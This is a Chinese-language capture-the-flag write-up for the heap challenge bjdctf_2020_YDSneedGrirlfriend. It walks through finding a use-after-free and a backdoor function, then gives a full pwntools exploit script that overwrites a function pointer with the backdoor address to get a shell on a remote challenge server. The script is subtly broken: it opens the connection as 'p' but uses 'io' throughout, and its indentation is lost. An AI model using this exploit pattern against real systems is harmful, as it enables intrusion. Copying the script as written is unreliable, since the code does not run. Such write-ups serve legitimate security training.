bjdctf_2020_YDSneedGrirlfriend
惯例我们先来checksec一下
开启了NX和canary的64位程序
放进ida64里看看
非常标准的菜单题
main函数
1添加堆 2 删除堆 3打印堆
add 添加堆
del
未将指针置零 非常明显的uaf漏洞的题目
backdoor
存在后门函数
审题完成 开始解题
由于存在backdoor函数因此我们的目标就是调用backdoor函数 又因为del函数中未将指针归零存在uaf漏洞 同时因为add函数中先申请了0x10的chunk因此可以利用这一点
exp:
from pwn import *
p=remote('node4.buuoj.cn',26813)
elf=ELF('./bjdctf_2020_YDSneedGrirlfriend')
def add(size,name):
io.sendlineafter("Your choice :",'1')
io.sendlineafter("Her name size is :",str(size))
io.sendlineafter("Her name is :",name)
def dele(index):
io.sendlineafter("Your choice :",'2')
io.sendlineafter("Index :",str(index))
def show(index):
io.sendlineafter("Your choice :",'3')
io.sendlineafter("Index :",str(index))
backdoor=0x400b9c
add(0x20,'aaaa')
add(0x20,'bbbb')
dele(0)
dele(1)
add(0x10,p64(backdoor))
show(0)
io.interactive()